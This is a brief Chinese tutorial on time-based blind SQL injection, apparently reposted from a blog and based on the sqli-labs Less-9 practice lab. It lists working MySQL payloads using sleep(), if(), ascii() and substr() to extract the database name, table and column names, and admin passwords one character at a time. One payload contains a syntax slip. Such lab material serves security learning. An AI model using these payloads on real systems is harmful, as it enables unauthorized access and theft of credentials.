没有显位/回显,无法使用联合/报错,无法直接看到SQL语句执行的结果
无法根据前端页面判断后端SQL语句执行的真假
能通过页面响应时间判断后端SQL语句执行的真假
条件函数:
时间函数:
select benchmark(1000,select * from admin)
字符串函数:
ascii(substr((select user()),1,1))=98
sqli-lab-9
可以看到
这时就可以考虑时间盲注,通过页面响应时间判断后端SQL语句执行的真假。
id=1 and sleep(5)--+
and if(ascii(substr(user(),1,1))=114,sleep(5),1)--+
if(length(database())=8,sleep(5),1)--+
and if(ascii(substr(database(),1,1))>100,sleep(5),1)--+
and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1)--+
and if(ascii(substr((select column_name from information_schema.columns where table_name=‘admin‘ limit,0,1),1,1))>100,sleep(5),1)--+
and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)
原文:https://www.cnblogs.com/Rain99-/p/13289398.html